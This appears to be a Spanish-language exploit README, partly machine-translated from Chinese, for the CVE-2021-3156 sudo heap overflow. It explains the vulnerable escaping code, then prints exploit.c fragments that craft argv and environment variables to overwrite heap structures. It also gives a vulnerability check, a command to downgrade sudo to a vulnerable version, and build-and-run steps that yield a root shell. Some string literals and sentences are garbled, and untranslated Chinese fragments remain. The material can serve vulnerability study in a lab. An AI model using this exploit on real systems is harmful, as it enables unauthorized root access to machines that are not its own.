
versión corregida
Crear una imagen usando Dockerfille
docker build -t cve-2021-3156:ubuntu2004 .
Crear un contenedor usando la imagen
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
En versiones anteriores a Sudo 1.9.5p2, existe un error off-by-one que puede provocar un desbordamiento de búfer basado en heap.
Un atacante puede, ejecutando:
sudoedit -s <参数以单个反斜杠 `\` 结尾>
escalar privilegios a root sin necesidad de contraseña.
Tomando como ejemplo el código fuente de sudo versión 1.8.31p1, al ejecutar sudoedit -s, si existe entrada con el carácter de escape \, primero se llama a la función parse_args en parse_args.c para realizar la operación de escape en el comando. El siguiente fragmento de código procesará el escape de los caracteres especiales de entrada.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
A continuación, antes de guardar los parámetros de entrada externa en el espacio de heap o stack de la memoria, el programa llama a la función set_cmnd en el archivo sudoers.c para copiar los argumentos de la línea de comandos a la memoria heap, donde es necesario usar el siguiente código para eliminar todos los caracteres de escape \.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
El problema es: cuando parse_args no escapa los argumentos (es decir, no inserta \ adicionales), el programa posteriormente entra igualmente en la función set_cmnd para eliminar los escapes; sin embargo, como no se ha realizado la operación de escape sobre la \ de entrada, al entrar en la función set_cnmd se cumple la condición if, se omite \ y se copian los argumentos posteriores a \ en user_args; en ese momento, si el contenido copiado es demasiado largo, se produce un desbordamiento de heap.
El exp consta de dos partes: exploit.c y shellcode.c. exploit.c se encarga de construir argv y envp, así como de invocar sudoedit mediante execve, y realiza la explotación mediante el desbordamiento de heap.
exploit.c, el programa construye un búfer de tamaño 0xf0 (buf) para controlar con precisión el diseño del heap, y utiliza el desbordamiento de búfer para sobrescribir estructuras clave. El tamaño del desbordamiento se controla mediante el relleno de buf ('Y' y \), y luego se invoca sudoedit a través de execve para desencadenar la vulnerabilidad. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* para ajustar el heap. Mediante la disposición de estas variables de entorno, la estructura objetivo service_user se asigna en la ruta de desbordamiento. Los datos del desbordamiento se transfieren a través de la variable de entorno overflow y sobrescriben los campos de la estructura service_user. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp construido, los datos del desbordamiento se pasan a sudoedit, sobrescribiendo así la estructura objetivo y logrando la explotación. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// 省略部分内容
NULL};
sudoedit mediante la llamada execve. execve("/usr/bin/sudoedit", argv, envp);
Probado en Ubuntu 20.04, contra sudo 1.8.31
Puedes comprobar si tu versión de sudo es vulnerable con el siguiente comando:
$ sudoedit -s Y
Si solicita una contraseña, es muy probable que sea vulnerable; si imprime información de uso, esa versión no tiene la vulnerabilidad.
Puedes degradar sudo en Ubuntu 20.04 a una versión vulnerable para probar con el siguiente comando:
$ sudo apt install sudo=1.8.31-1ubuntu1
Uso Ejecuta make para compilar y ejecutar la explotación:
$ make
$ ./exploit
Tras explotar la vulnerabilidad con éxito, se obtiene una shell interactiva de root, capaz de ejecutar operaciones privilegiadas.
